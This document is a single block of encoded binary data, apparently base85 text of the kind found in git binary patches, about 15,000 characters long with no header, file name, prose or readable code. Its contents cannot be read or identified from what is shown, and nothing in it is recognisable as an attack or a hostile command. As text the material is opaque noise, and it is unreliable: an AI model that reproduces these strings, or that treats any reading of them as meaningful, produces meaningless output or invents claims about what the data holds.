zA1$Tmif6Zx3PEC};8EO?kOB!Q8HG6%w5u$o1&XUL@?Y@6_DD%Jue?#lvcS%X_-4x8 z#VahWMJ`z2u)0Gue`;6vla)56Q{+T%U3aoT@lR%EX7_G4JsAguwYXob3=zhv7{;|gd4%Uc-z_+3Wd5)5C-?}RH^_L4V1gYOFyhQDsB%WwaD+o^CZ;bzy z8;Ng)96D3S+?E_R@wt0#>>ikTP0Vl&GII*ytYCGQWP{^A_|IxIyREM8$OHW)(6tUH z$?)ljpkRaM_*H-1Xz~+S8$kBz%JbQrWehDI%1bQ65s8JBMs#;bla`c}_PLufu3Sa5 z(BFT7Nc0{NnX+?YL)sRPhnZ*#je!fkSKcbs_>YgR>jXPD zRjp9=kR7Ouz+kYn;re=!Bc-;h`58tO(!;N2-rv-x%w*y5^JLpG=v;lg21_(o0}+gs z09S@UIJgQ`e3^}lMhg`wSo@GIo`fH=Jz~B&O3ZSgG`CVfkoUjhSQfa5c{{Q0PAB(- z^)93)GtZP?Xi-W$sh#JK{t9lxl;O?63AAP)^s_%&fC4kQ{uIqRdQke_Bi`lyg?iJ# zeJ$yMKZ<2`+~YQDMT!l$*d#*F;Tb`9Ey$9!ww>+;mWCK{n^O#epx2ioRuRku6AXE| zHwm`waS=lGujcI5*lZ&)g=5M`-Nz`+6DF0qkMkp2d-#cRIFeyuU}GILsTLGA7b?hO zYYS$DI(wz0_5|4$byK9aL4|vg1%>m=*<%11NSiy;STpJX?@;;nglL>i0+FN`PQ z*nEE+AOPawgZx2R9>YH(#S8H&F52|CL}wfRk`geM7{+i!8UU+H1p!FUsb_!|tZ zq0QaC45BP>yIW`(&E9Y4P&L=XdhA#IN0Sc%tVGk^NV({qY@u;I(sE%X5M1{`H~Io` z-I<1pWg8|OFM5gqHW7Ze17pQbIFqSMRB*O1=01VAySHb1n*Yybt4^iwH(F%p7Foor zv)RzwK0SwL^QwN)OUS0tMx@Y~4ZB4+3rM4t;li$hQUo4g_Agyb3EXi@oW&-oM~_q0 z!p8uA3y6e;h3^FwK^5R2kKlt}S>Tz(H#r$QcU*+ngjG%D9LGL4uyUxJhVe7=59i_@ z*8%@&m3e{NWE9KIp;+93vSi-iCY7Gy+`1_<0eV0zF8F(LH-$Ay4`b<)h=h5fGKsQh zjPYyxEO|aTP`g#%k?U2@gB&=>5=z4eQKW>T^`E?G;CSRXB?DE;11ORUGH(VFx>3{p8|5FQ<^v@bZ`J- z(P-@lG8lTx9~71D)%$*$#wAc(M)Qk9zSNyaw@eV*DXlG@z}O#aO2zd)4zg_{0$Pp& zf?^(gpdqLAI)xbYT^Y&eMEc3o%g;Wkz%#3tCeCONE!n|=u0OvuJ&#q;7|=X3=^Z)dM3 z)&?7!(wb1XRidehMQJ3M#HS>W5h>`CDyyW9M?OS{9XpeqTyokI%MnC?{F&o?Y5OdEg`{gz8QrN!&w46r%r@JY0s7 zukSnDO|`XN{D~t3k$>5ojzMcGFJugGhXlvet;qvB(WhH}8_~msq?80PYi*tS7CHN* zQ9+PEnt}kyHtYElpC{coH>h=A9z+Mm0+{~jR^Jc)XqJdY#0arymQ16}{>zOMHxOg! zFDnj9-p=5F?iw;>HSf};aD;j3y2OC-4FBC0Zgi_k7K;<3fsmJ%SS#?rl^jp8fuG8}oS7TTgog4L znZN*_i$?LI#|CFqm&C{p8g`N350FNK@cgAw$X#kp{y;;l}#06Sw;v;#kvrM-=wEmWZ#f+TyF^9Y6M@oqGp&U!usvd+VCoRCl3u>zt-xFc6sR}K<I12cEJ$6f4r5sr9`F4S*7W!As<6oho@+}g~81US}U;{KhI(uzq^Tzd`kIjE= z+<5aW`@f+{#f|nqdy6FCY~z0422hr|dG){cKNh}8(!8{9@Ba#n{*RCACLzYJ^c3n2 z?r|QTrQJJ^t;hGZ6nc#szjCM#gN@`z5Q&kEha@t;d<(UEia_iaEPvk;vFXD2oF}W6Q~EZ^pj)Edc537S`)7-JGP-f z4oG;adM1Z~gs;5GmpR@Or%~l_F9Y;PYgMBFif}6N7uDGtkHdp73X-XYoN$pZsucc6 z9bcZ4rbP2!Sla=Q+~I_EHWyV)KFmT|5DlA4_B%&D3}j*RU^lnRd9_Qg#=};+g0ZkR@?o!&j|OdDZDsk-?TeIH{Oni z94k-04Lq)W!saQ8O8hatxd%JaBRSA7@(<;c5PC{RzY1lrDBJYx`0HZ~)x6lY^T9W6 z;w{vH#ve*5L~8rTGMP~INLL#ho%-c;6^Hgy>z+zYF#E7`Hbiw(JB}4<7Uus}CHPcs zMO_xY=!P$iInAKy0XegS4+F|(EnSBEgAPm99gMq^g2(|UG!ps-2dA>l3JMD1v+-+Q z>qT#1>wiwgXNzYY@S)}@Qy+Vc*w?+weEFaF>Z0>x>@PharHE5hYqos+#5D#DHdwHq zy9p$bcMN_9HlO*JI`e82c*ShGHnCSh;f&qoG2;T|AHvmkJ>5A<`FcC1!yw>0^n+6m&b;Xr zf?jCVu4sSSJ7^~Q2kTccr`)e=ez@z`gi9wNUB!<%xOn}FTxxJ+c})OHj14Hyi78o6 zyQq*;{-YX<>p(C^qBzaO`@xO#&NWtH&7KLTPV(%O?TFEghSv8f!r2@7kp&>7KC8S zi2B5AoK0fqvr3|vqGVaj0m)tp57jMQ0hI86IG-(cHU8||wHD08DeNH)Qjfz#xx3Ls z=JMaw#??^YuXh%24}*wBs&!ue_Ok~VS$eu4$B$W+Jr=Ve1|=69kb>+p!?9siBhogy z%NxyKyE$s^YDm*W^@yp%>8QX)ze4>Igz6y?mQ0H-p8M6d^%KoIjXyO= z_d%-{u~tWLU2bt0wZiqZ+fm!;lTpo!3&|x|4-cFHU*-yuxj@_)|yUxb-E3}jBD60+@$8e9!Aad%YkljZOpe*>#d6~z{@UA1^%zaI)r z&%s8Jd-UDPj&=v3%-fWnKX`}izU*R90w;*PL-U35nUFjqYG7smaK<6$HIZUv4 zTw{*${Ccqwvqe}ux}>8OvE01a0SNN7Bv>Xay)D!_U-(=@d|80!HjDVoAjX2LPc^Gi zooQlJ=e51fG}b=TcsOkKiSyAve~yb$^h#=c4gJdc`B=>(LNkIjCU8>32@0|#tO;~#$1cS zo`Z`I)y^|welJ%B-Mq0}F&c3(ZldRWeR^JG$V3gg z-L3y|<5V&-Ui%bgES@@8r#0(!5b3%~EG#xOCh1UFr|M>W!?tgV(u4`G5O6U56&N#N zPNl1v19n;rAguL8#PotlHbMC9wOz4kEi~F8(IRNz?OFwL`N*6Q#d{+`M7n%1Z~2>> z@E2bhT63x%Fr{0kB@l^-g{Ry?>-Ip!v^epMjgcG_!}cGbt_UVj6prl-f9|X(j8G+Z z8R0QMw}FU1UqHj@5w-M6?gV}{+>+gm4LQ2_Q{pIJ&uFl3w7pLR017HF2#20Jlp0>$ z#s;TPHW1oAx2Lo?+2PD&bwGFro*9w))s=-L2Z}6Fb z7fa%$JJW>sw9*vyYwF!0Zc5D&5+gkgqGPU>d<^w$;3%3qAN_JvUp zWnw=^YBr44hFyF~igo2}GvW;GpKTH8V8!MyGY15Yt(n)b!EK!-=9WIRR1xsDD{rDfAAn`o}`-$5;6uf6A}rmDuZ|xCwJD#hiDf zdf&yJEz$h2nwz>!hM9sA0Y5?MHr{5fyT{N0a-JKpgbm#Gss+x$Icb#Lwz$Z7p#N~a z0l<;bm5^N8ZZ6w!ipjSMs9^rHOWAWr zwFT#bKlIdSqA~D$Y=@Qa4tnq}&86MOkr+7nx4Qab7r!1WAstFsv2-W>v{(je43V~wp^!07@vh0iAKTBWzZ zvvBw{*5~>Oxr@Q0;v}+Hi<{2G>go0JYb!KZM=D343>m3*5`S`xR$WbOKQpcH&LaWu z5=Hg^`NW=SNlqbbhigICE(516sbK^I;B?fCM_E%ZEK0(mN_C`Hs)uh2%B?N|s5lH3 zZWcQt%~R|aSMP|&a)C`l%USZ+xionvaI>9VmLPn9a*^_;@;xK+>Ah$&`I#H+w-HRY zFJy|uGV|>cUr+1;1%hmtPk29xrIyqp{gbb4SBN&Pe}|%v^j8dOHB1UAbf2g&Qr^^+Cpy5b{LrdAUHmFeY7)+ zfqeM%M8a(%SzW<*WcjitEBico)bLeA%W0%ie{#(qBfVv4Vtu~{3Hui_y%XcuAxIy&S#r=BM-tk7@36RIMdSZEa zs_?K|;1zKe@RZYStSUpuhT?$*p&sSB671{#zQMpGN5^yCN&e63 z6xrLbx%a51G9NxKpsDWvqQDT9rL9etpzQ_X+4L;KfsRBu=$-V7o@gca1`;ZS!QWGT zrgHcP{je>rekPPz3xmMOp2<^g)};b6;gg1lEmS6|gl5sIJuU9=2X@qR`gp?= zRwV*2RQ_LHhGsWea}u6P>N(;`-!MG6YOdPKL!+A zxVEkToTv|XKIV0v{n993=M3<{X-NAPcmnOAd~~&6VC;Gb^;D%MxLL4H6Q&GP%C>!U z?jc|YzB|)>?AhLFn&vsTmBX|qPR-i}HC$t4$y$u|enSc$4FtM_`aX?p+C0?0-@@PTa&D5A=Mz^K59+Y6G?^(38)HYmNeEUrLG!27Kc=hRC)itaa9k0Yt}$< zcN%auB&3*`btGuu_$0k$dq!<^R(1?wtseecdfLxG5laC!4KGgI4)hO!3fKnlWO}TT zc;8`5C^h#V74N*zd9?-SlPzEb1jv3FRX`<|3_|9I<1NR-3O;&9Q4jgG9(?z<(`mmk zlc{vsmr|7ICu6i>>e*oT40~>j z?0ly3T6YWiPn1&Z)$}-05*HQKMSbw1HfNkyX-8@qu*C2sxcXky)HA1y(pzHJ&*I?P{2L`O=@Rt161FgQ zR#mt{!5LUNGlfmWJ;xWx>;#7hFXtwlk{^#vL_&=Q$J|7_X#msn(r!D?b5pR?59|^%k3)O*Q4aul}nuyocnW@K0>9| z9e?FdW;?GeqQG{}uiGdyeS`jN?at3C(M?y>=TdeM@Xo_}ze*I#!`lyrKl|&P=e#1S zE;^%8Nw3V_`C}HhEo?5vQ*)?GBc-RBbHFo!aWe~gKgsAovcXp0_;6G$E=`5CgI#)> z{`Tbi(QR|XYPrFPu*JBZLi`n7#+nl&@a$O&;Wq_4WRI1g@X9phPWcN{m{nU*d~9=- zl|Ck)w~&?YPx4^uR$9`JRA$25stxD#ns^mOXeW{$!fHPGRCvNjtWopPK`3sIAi*dg ztv|l}s)~4&yyy|_Owp5B(0AW*6W`v#QyO0@1FYPr9wT)4ag=5LxuyNsysTp4OG4y+-#(x^PTD~zx#tQmnOOP4^ zN*)WZB*yH^u-{M-6HN*l6x1oIYY2F_$ztgQg2ti3#xT0tO4JmInkR%{=dl#R_dO?V zm;hymnErG7x1Mu}TBLdDMWDUNcRnl`nGUVz6uB|I5X7l;&<9Tpzi8?{50V+ip7L9- zM47S4?q{E=hN)Nyi#j93r-C`gJ4b;%6UzxMYjVbjHzo6$%gJLWGbc(NE3AnO8-sYP zIkALV>ItZ{#q&0K%J%6{rt?28>)QG8^XJsoACy`@5t43$ellz3f?LY+AOU5{$FoY; z#lnX9rsL76f$ZnLlsYTD_bjU0ha-ZcgXnADzV)wbpkkNI&H2Xax<$E{Yce{2}O>s`NZjqyg)%>W#IN&tU=zh%zGOTi}uc!Z^iP zu|m-3XXN5iZb9NQ{-C1Z4+vCd%df_(oI+aA&;Hao%gWiJRJGC7&s@yyLHHauJ}u>j z#8fRuqzXT40uvnFVi_k2M8hlmRDZ-`DQFdKj$JDifAF6O_x3K+gNi>Uh?1eXwQ_iK zv2QFKfg7>BtfZvG7nLxVx&Fd+#r_jL&8i}Ncqe?r)$!1)h7Pa9w9Jt? zoh*FQCEYTM50M@;9p z(w1^}0le+gJ$(7lv5l5XDrKqfn)wE^^r&*I+;AXzZ8|4HZ78E7g%Wv_o&KrA>2tzD zqDr}-XZ0vTkm?^kXd%7~ocI;B<_#*V)RlA;MBF@-aiDN+gY*iqyAf+nq>6=9CR8a>0o9)Y*6j2xF>(O z&zEioZ`Wi6^wA=M;*vhDpL#akN%|)OLe>Xt*ngHst zFr8@NSca`XmZkBs;gHbxj;GyUFV+6zuf%Lqa%4^}BID>)p>+aL&bjs9)t_I#k|FMEaY22R%R%j}e zIt^7FgNl-$5kuu2?MrK?_j(3ub9M{#ua}LT)NppBLB}{hqZ{@tMwjH#o2EvE@zt$Y zHM_Td@fbr~L)^&Na+38PYPO&~bYeaQ?Z^XUR<}sH?-+3es^#%Ce`?k#(upS`w>Yc-%z4fDepEXTkqlopUN{bPc~S}N0seK>>J0=8GW2-%(yDQKi1{t8(^l^@H9#tRjzs3 zsD4vW$}X45eQkTY)XvkFVk+J&U6DNY3x00Vgjjp=n(RMZ?Ss{r6Of=|m#+d#@;;we zD58DZb(iC!{}IrYZ8{~8-S*ihzQ7UaVr#=E{zziV9EEG2xBvT6^Dn zUr+Qn?_GJu*1Ftd-o-pWE3o%e_tvwduk!hrix2SVDoEu>~!#2mh-vX z^226CU$Oyo)I}wN^R~FeuRzTbyKz!dH$I+~an*YeugAo}-E>`3MuetDt1xJHz9Q~I zwCN5FyZqtzuBEO`kufHPPPg`Kc~b`WD+6%i*Sh6qr*puOHWC?MMi15XtxS81EP#04 z9M(wa8kDxI5**#M%MCco7*r&`7hRQ~dv+S)_RYfFu{&GMc-t$SA$$G7nP?+nbugpX zGivrf@y3}HIh9C{=Tj1)4cJs)b0Rq`IK<m(B+Sb9TLIHTH^+(s;u}SQ} zcH-udk6rF=4M%F~F6Z|c$k;`;kidA7b5XqQ3gm%Hd%&04)^2pj*kU7x)_CH_z4SVt z{$s%t$+#%Ix~Oww16;@*XTovIY$2%06UKPqc5uBB@xAuk-1y(1txpp(WNvlVdU&RI zj`hHoH``~wm}quwdT~JCN>MJLAi}_q3WIr?jLNnXHPSI3P%IyNG|8A5U2xcdy!qB) zy?~8fa?SYSneH+6MK^f9`IE|i$&gc>xlc6(>mzk@_z;_i>9FW)-Chyb zGmW(1bv2(-etb**@W8m+a|_XkcOZ5O{c2H|@dpE!D2RL9#u-gHxDkQQA~N$rTQaiK za=nR|ScD3oX30?LyU`bY&`=H~W@Uhn`eNBmB7L%B2P%*W^B>#-{aqS|+oHH&Kg0IlIJkpa*M|opR>7Kk z|Mi>he--a`;PvfI5owzyIR@Tk0uU2}|LkF^pjcaD>g5Rd@W!IpRr4S8X?$ zCf?Wo(LU&f2q|CFeG|BWL9!d2TJ{+Jo63^9p6303n#=m{cIx#%ibGgl<+wNwldt@> z#3nYb?Mlx(T^pu<)5K4VTNI>NnHqmrDHyxqGLB1fXD2HLv!Z;^yDspcf+zVpBfXU? zV*5(k)s%c?7bcNC&<4WVq#rRTHO($-XmoHhZM!}lT;=eWz)eDPn??fR!Z-P6lMV2K zCy2GTDjg|#w=w@@xCT#0fl(ggOQ*ETY0V%>&i&S&Bu)2ov&L{C7*^^D`)Mm|J?R== z*J+tTxdv{g>3H>C(7h1GyUsI2d&GXQodZgRAi!ZC;G480^o_eE{_1gHF zk&{sHG@LKV3Wqi&FeB^S?x7AxDyn(U-|BH}z9U1|oT<+*#Qh2~QqDApR31TVomt@- z`L~Qk6+0OF@b((ZLFQXyFnnh-?;bQ_Pbl|E2^P6jj&)&7ej)CZxI&#PirNg9J{>40 z=^RHvb*|KK<(*|cT+~Qu{cxRn;k@~@Oy_dJocU0VP%{vsDGIO;8%~H2PkQ(n*j5TC z7)ze8fB#{(`tmy-L^GrDg;&as2@=xYwz_owfCeeymLV~>eXL|$JaLvRn6!aA;hadC zl!{I{B^wSkpr1wCS3NOt&@YQr_Lk^SzP2nqexBIlcaAe)KD+>gmShn}{0C35`+8M* z73d;+9(1)_88J$S(c6i-!g)2Lu-^hdxKjn<6#j!LKa~~KKlFLrUo8||sk*eNxQC5{0@89v7om-!S99Cp? zCa)K$67ymnV;Z3;s*5qz#eVElRS~EHdrWQC!@B%?w{ZQ&-^1@HCQMqI6W2DW{=Aja zdn+%e=zLUjlncOV?YFA#MeLnzFt;L4Y5U6Y9%Zx6blH4&pgE(+m7M$Lo*Ul5b*&`$ z0`cHZ&>%|8qk7QRt;HXsnEsT8EI6t$c+w{4OCGhdv6;%= zd{E`q=xS_bDCS}@jh@yxc_<6|(Zo>hh{aA>a!rT){?iFwPrgM24a_9yQ2MX(wA^^2 z_|BbeM0e|RUhme2s?a$Td!~NJkUYV8LCvkOmN+H2Bj!r_x?o=xi2G?4MylM5d2rfS z#pNGem_20XsR4EPB>7FLZ&2(|Z&YP_s$>%@+j5gM0qATEXId(qPG_czSJP1;lUKCD zHWI!gr!WZ8)JZBB>*TFe9NsMS}&RhstY}u_cP+ z3Kpf>`S?f)$NMLU=vo$)n>+S!##f1}7+reH{B0U+0(9XSk7d?Ig(_ndFK4cArydGnZ<96?2J9Z8k$e&lK8AI-_FkV$tP8-tpD0k^EqPB z0vIz{+0sH05D{U2zV8jjO)fyBIOZ@`$O+@q!(1o5LgUx+2O(rXW2=fZ=g{+I#4VRp z-|6Q?Fm?@J+#l!V&=Oh}Z=ybbw>-KC(H%NCvYBClVB6_lEQKcDyqh zq2^VN=J;~YK`z5MY(j82R(Px7sKYcwJ)Fe2Pi}N?37wB|@@+@O{&|}NyU<1mUsJl@ zY`P|%Bm31TJ&5K&i^S(I#Y~z8$L~<`mDr0-E`uHoi+k(tbtRtxpf{uKx|0#wq{TW-j*A)ha}>XxZ!FMa}&WY+yqf%+c{ z)G1gwZAo=^?hOf2@N`CgecWAJ)NM?VSEzq9wxC9Cd5kx9;5EVO(os6_X5ggb+K-K4!2{G1oFdy0mT@jch${hmxfb*Ptq4I zt43XZp_q4A5&yxaY%b(#3J<{4a-K>_jL`On$?_1SyVhqkjmxdDU zEBmvz&a2+(`2F`e4ePa{4-s7|dME1L^(!t%&kl$>$9L>B-v-|`M;~IS?Ppon`#h(b zjr12HCK_oMy+(!g@WopQg_T*E4O}Nxb>}JKsA0#>n#ca%KV)Ogm=+(pv?l17t1$tM z)GJxB8cw43KXv8(4C{xJ3U_J7Z%dco`^~Y+ z1kuQ>DssRnabw-jb}x{eJv{Ko+%6^P##oo!CH1!1(%ktYZM|$IM8L0F*ACu1<1^?T z0Bkk*=K6HQ?K1%t?o)4$KPR`7M<byY6+eCqq!A4q0b`@7XY#=ADlDSu1tN++Ch_ zkgPk++AYYxw_>N%MtkSWo)2s=2NL8vOb;K^_5@XSbL}r!sb{;Mnz`GSaQojvt6L`} z7&$wTQR|s}S=!-3+<%bst;k|oS9>etgW=hG=amya+iPzKY8X$w`EM1M)H1u)aA4z> z)SlG;*ZQvij)^7G9{uxwSRU4YLE6=I9DKp14uiomu2z$FxNUs1AvM)seubEWU;hAy zM`9~P8_{b8Iuf6MIPF@OewbDKM?1Rl+(nP<#+w_xb9Y{s$IdsFS@rvbfB7W|%ARNM zcdEHxlCN{|kj^-&4&80BhAs5B?Ret?{CArB+a%%zRIzANqQhSeE$h=M6YnR@!2w@~ zTfODeU8~`mw;kqt0{ue6!tYml5%L(xSLWEu-ciE}e(`~o;8LF)`T3V~otiI$>vSo3 z3KSwY-ix#<3Xmr8Md%GX^XT5e6&+XMHZ4HIEECpJ^=0~9iy6~9vz(ulZ~V|I(0N2{ z&?1&*EYWrFLW&VXjl4hI#G*ZGz$9{PZ8%>BxU?;|F5c12L=0l#3P2^FJD$FYj=O)EnU#OpY3H@vEjk)f z9+7;2PiDvzb)}v4hSIH%Zk8I6_;U4~ZW%Wo3_b4lXd}Ecn*%LY9rjMTlF=y|xLeMJ zxJVBby|@?t`5tuDLCwggf86F*&s=PUt3Jb*5{)03Um?mR!|hIXZQAd6H6zW;t}y(q z6y@+Kv>M$Vk@tkE#k-O6R^icCh4xBA*=hL0#qWt3a~9FgRuU+2a6l6NcW+02{kjt5 zS0A9BWs5Dndg$f;-O{PDD4>QlKOEW>S-Tf9;{SJn7Tki-6*5`9Vuj)bcRg{bh>luU z?0rsNT>8p5)FmokJn(axq~JEBq}}@~>l?Lc_*~ zJJ|YCH{cSg$3w&OTE^~BHCt_B&$AyA`@R3Wf?#^@i8+P|CcFeOz();tMV*jOU2?{< z)?aAM)vVRYd4B7b?x`){#+;2hVpzoR`uN zLr;l}Uj>z=#p&8>!b~<-u(a<$^N3se^2Mh3r^5P!D{7mL%sBoIIb~H-+ZKID_{@CA zeuK2#mdQ)P(dYa3;VLaR@X{|7x*WlS-7Q34r)AjRg8nncF1icyz=Lpyg)d{FE zm;L36ppKQmGM;PM-`iT~pgjlkh{m77#Fx`2rz9k4w0PZk+oLZHL5x`S@L_v+?A)7g zh5H^?T4%q|yJ{QtA*$@K^?9EjCx;4!Yw|K8r^39lkDhyj&r2BE?@Jf!6obuxjkV=7 zjpgANDFdjrM`M)UEq&>?0$&(Osz=|wK;74{^&OPB{xFV`b6z>Q(xck^GTllQSXNm< z9jW`=wzxY@*E%)ce$6HS05hp;N!{!)Od4*uyFQ`)Z_D#?4_l4T+mSvy_7 zJjn4g9Ddeu#bIRWBIA*|*7~^Pwd>;px@9*!yNh=fJnST~FNal%h7Vki@d8*e<; z&c3QS~u4|G1KdZPSb)j!%*mYsJhON{Kca7$<6vrCyb zO#U73528jcvhm@Defx5-_r^?cFOJ090)hgq1=U`2b3@G~Ha0DltPW2eh;YJap3l_FZM-=o(L<)%@b8l; z>P~n^Cj2^9UOS`SPZIb!fl1S)1sjPl+^~g9Of|{dkF*PT_Hp>I0ykd6^t+qDhnI27 z<6)}AnoZS~R3eI40p99MD1cL2PA4U(AsFCbG zodN3q4d}hHNxQb{R@3g3iQT!Qp$a$K+sCPlQl!Euv>(^`;1MkcT8CnN*tHk=*e3yf zniHpf9|&2=J2L&04yb2%=sV3MTUM#|Qxx5zq&pK~%rz{&|2eGj=C9qglcfPMwh=2g z1KFGVV5Q;J)VGKMqy1VRBwq&xKS@S(tE;*!X5oi1Oy=@TnH$lAmvAiw93hQpC_k+J zV!7{fPOY0bqfp4#)GZV>f@ECoWyFkGhrRUoG&^&->LR0Oxm)<;&9}Q_U=S0lP?@Y| zh_u!yQaIC;-m{`n6zC$IkGWm&u^?ic#hpR|wzj%?X4Fh!$_M7B9(V>ghO~T1+Hg&T zD&^0g2-(d&h0}6wzK%%yjBjrm>;su)?ccIXwh4AReb`6q8TUi8QjF|j5t3SS?OdXz z>c_xoCmW49x4>*gtbMZxb7MFI6OC3U~&Q?dYBmT zb8XcBA(JZ*HSj*_hAZu2K1IvHFyNC71W^XE(`7cLz6AGG3`Sn~IFZ;sj+8rHTw$RkI_!6`?uNl?m5SQ!BepBAp7pnsG zc?qlU@^VNnGB<|j&(;wWG{jrTyg!GwJ$_>%7G&@(sjNBa*8xRGw@)P% zL2-_SwQ0b7Bbko(ZF>(tzxf>pW@HvHQWPP|C1 z#UX#0&Ql)QVJ@;aZ6SV|wY<7w)lNOluk&73%y(Yy2k8ia9K3U+>F>xdr|U;Y${3f+ z&mQeSonA9}x9jF!4OBsJoEv;km*Ccgm!*^kPYyq-aZkLQJZC%gK7Z2j(~=3Iy-fyv z;-7!R08}0TB4HLv6*PQ-K#r?HoVIHt&bcta+$n2}d$i&kgE8uo!XD9EK9YR{wDDLKKG%?$@<}M^OD}26J*mid|?oOcop_9pJ-g+S#wgRL1 zh?;8mpk0ri`%gSY$R%8`QTdLw(4qY#qKIxx+Q~ejAtsvniST1&hwSVA zVSVXr1er5K*X0>texa{n$-=Fo{(c;PQHdGOW4BlmT_FX>@R%#=ULq^;YT^f1hOCAl z@lY&A9~DLTIsB32=CHgj0iT27{&etor9kx3s6%C@1)ny%5_V^srLTrl=5(M=CQPZ? zVXD$}C97%uHpp0rPs{t~@UWz8wT{;NY&Ksm$CnLiKA>f>^?JodvexiP_CNS*{$FnE zJ}KN8$h7s#uC*)c+8g<0Zz{^_-6G!r^|M>~qqj-eZCu*a({HRZn^h3!-i<#n|Dh}? zHc{=$eb^u#I7eCvrG0>tbm~tJS2h0a5ST7s`LN^7V`t0e&-KLM#hOVINw87fTb%+I zW@sa?Rfc|{KW`qmlS=ZY83>+ohOaH|gH)?L4KR8jl4HuecQFt>2N_KbjO> zTFEYUJ|36by(lS~xo$d(hY#x{ej84Y0+$(^dp!1qBVKB-?5k9}vBg)YBDc51ebX{H z$w!guOZxH0n_=w0J`G}T->ho{zhhjE*{SQl@*_fQ2|5-%S)0_o!{V29Mr4*&#HJ3k zkGyK=-$TC14%R+~RXfoYnR=t%C_cjQ{p~Zye7!vc;}h?zYd@Utd)n~fcxppJnn!PA z6~6Ym`^UNhznKu$NyD(Iy~wvR_%j6AR*SgOP>at#=6EtRp<8-?N>+baecy|mg|PwS zu{S`6*=#lq2#4991Plc1e3i8gD{J_*;Nqxv_7%^#vw8G(yQ-M zNzG;`>O*O^AVp>leFUd9Xt9j|P7DB>E+Oq}`ud;SXKOGhQ$BUk;`>E#o-BGbQGD zdr^-~X6#h(>~ALCo&;bI0r32++EN@N0)FujDDo=pvj$h?(>u^0J-QX3^{DdrdDe}L+adu$BI_O92FER zU+kcsz|Y}-69@Faz?Tn+SIJS#mEK~wxPJ%g{s@R0#>%m6n#Wg&cu`D1RL_lzc%CqI zgu0?@5z*N&PxrQkEJsw|T`~-Ep4tH>o&t%F$4@@eKjpXQ)Kgx`dNv?`G$1``>q)7p zn|+QqVX~K#kIw{r%XY;&O7+1WQU_L;V0=X()VQ=BYJ{lsCSV(Xgpp14X8L#3Ew97G zMG0cAq3r@x%dfpyz6;l1{lWRa@b=zeO>f`2Zx96)5fuRe5z7MUpa=*Es1%VVy(Cm2 z^rrNV(v)f;p&5GbEur_Obb$b&iWoxgy`CA?`t7s#-Dlr>pL6!T{^x@P41C8N;~k&( zosJth9_Zt`KeN=Xe{z?)WLy$M8Y)_veJHAGk~neR4j7E^vv?*e z^lF5M(}&O7>_@nJClXoidBU~At%SO)s7Yg6WuL*+AmkoPP~8chy0T_b{w#1X$`}u` z_(1qXrfbu34z`B2YQjU@M@J{}sq{_)@3OBjy2%e|7uC>tAGhsKj|8E)Xd8Y15GRe+ zz#-J3t*!^ZRTslu#>bfBqk>EW(rz!v}89#KI#2(sO|{*oQ@Th!$KT2 z6lA80t5>z`Hka-s?^GWTo@zjArekPFlGzXO1%dax}2LZ)VAV~U%|J*)>i4C0fWB11gp#7pZ>F5^=JM=ZbhfBko@S* zFkW*)@O8T}vO@dJ`E2fi#TFZ=&;B{oTghelgGaJbq>#`DU^^Ot%4{> zooZ)YbL5e8Guknnnm;1UA-DAe*mqkNZ9)b zk7#(aR2jFxc<7}Ors#2#?-=ZTjeOF4F*hGX*J&JBQ5drXJX=5>3Hg+%*R<&AU(Y2aUbinOZ57{v6ACm(k@swmuc7IfokyE-51V4q zstvbFl&~CgY0mi6jEb}xoEMM!^cTYfQ&`?*F-FZi8Jh*{+P=vFrG+v(OjXc>`bdv0|#UIf4`vPT`hS_CI+?)N=y1YauWxLdV zK0Gl8^Hs2;RF`}gsSWVcHYH%PKd#RJWcP$4K2Nqx^bmA z;~1|%`LnQ{NLhJX=EARG^O9@3f&-Nh-|{!Km1CqeMdWVOxFA<@sNj=r62p^shLDeU zJJutes{0VT0`ePUXYR{)+2TYrvSs1<3WXAD-46#X92}f;Qwx2ra&z;l{(0&dcPu&& z$(Lcha*jzY+GzCS^}O7XoY3C^MQ$ZE^(HeC>Pdp5&jN)`68p&6csq4T7lAY%> zMR^7U^`f0-QEBV8{_u|W-U#D@d#%Jdk;jWpB#<{m3%BRZRp#5a>Xn09EY5ZdUWL7>9|snQXWyjx1g(iuLwF`Lp_M?lCfCqF_bYC#%-MO# zqtOTB1FI&T<|}H@pWy6&i2PH@4hV*#Zm*Gws;3oaZ$qN5{Fg%cT!>=1-0amKC-!Y) zaiar&X0-Jyk~kgCx3h5_%pELP!H!g0{Ncxh@ZmGkRW^-gF~cqQF|9jvJRk$a+7xv( zv39sb0xAD;&6~h&tG=A1Pjd(2`^HK=X#o&tC%z4w=XDK^*ClPc&jVl6RyRxhhxOVwzV^b; zHE>@07%Fb>W=-*r>g++cnZ{-;gI<@!`|F_*+4@y~iserhGq$w~E+DAaKM}=z-v@lA zNgc%vIfeE$aSUPwCicF?wVh!v)V)oe7L$H|^Q*9AFw$DTkN|(ULjp$d2p|26RP01@ z@doMiqQfb?^lScMI`=7j?E61+q5jQ^A03%&$)=alwWT5?<_vh_gXJBQv_TDYbK6i} z2vr*8jPT!y_Tc*&%4a+l;mt+La`w@cW%s$2E@O;G@6M=$wvzi>$4rsq^Eh5OmY(_>J4 zCHs*NFsB>H0KfNiw~)KsO14LXzpATkB-?_~Np*dd6D%&<)zpJ4UbfpK#s{HM zBYQ&&5wIzX0{;iY>2-tktKxpfZtyVhlD`j}S&&6G)^oV zTdue3G@5->H1wTG6r;5J%i_K|Wy^OU=^SRFeIkVJ`)AC)6Perao-@F$ zXL3mPXj5XWrNY}17A)iI8Bd{AL!AYE z?PL1=JX{(?!KMT?jxm+_D7P3^r6p)Sv_Y_oT_|9jL0sjj(3=v>8x&*tICaNS-+5BF zN&%m5j@f=O|mTuTs=9r{yys%5&1qpeLyhBO(YPce71R;^5?fyOAMGDWM;>4DS zGbU_rFpSpI)DEVzgtf1oNuspR!D8?qU>K>TmY}1s{SOI2UMD%s@|QdzthC@~|Kl$V z7krETK`0k*pQ?)*oenbUN;?@$@a}RMvQSq1 z8yJ7NGyEEcXY8gO8g5-wpKgS;cg?XblHvWpXgSrjje7jJp5I>2Qj~f!2vMB;-5={W zgIHGfPJT7{JFu72Bf-puDMM^UM6+(!AKy>kV4tH;*A+AVnBatpptzje{r z3s?9#KUBMyo|7G_0}ns>r2e|epkTcb>=fF|-BPs#Z+eq6R8Yv2uXNL4kzb9H@B01- z>^-NzdOr?(ZC<#SIXKek$t}<1F76_pv6L+*Q!lMx^9*twTI!0IpL>t3dvnGf^g6(< za_e1H86SE+-b#7{2~KfeqYhGKi)!qprHL#Vx&$1 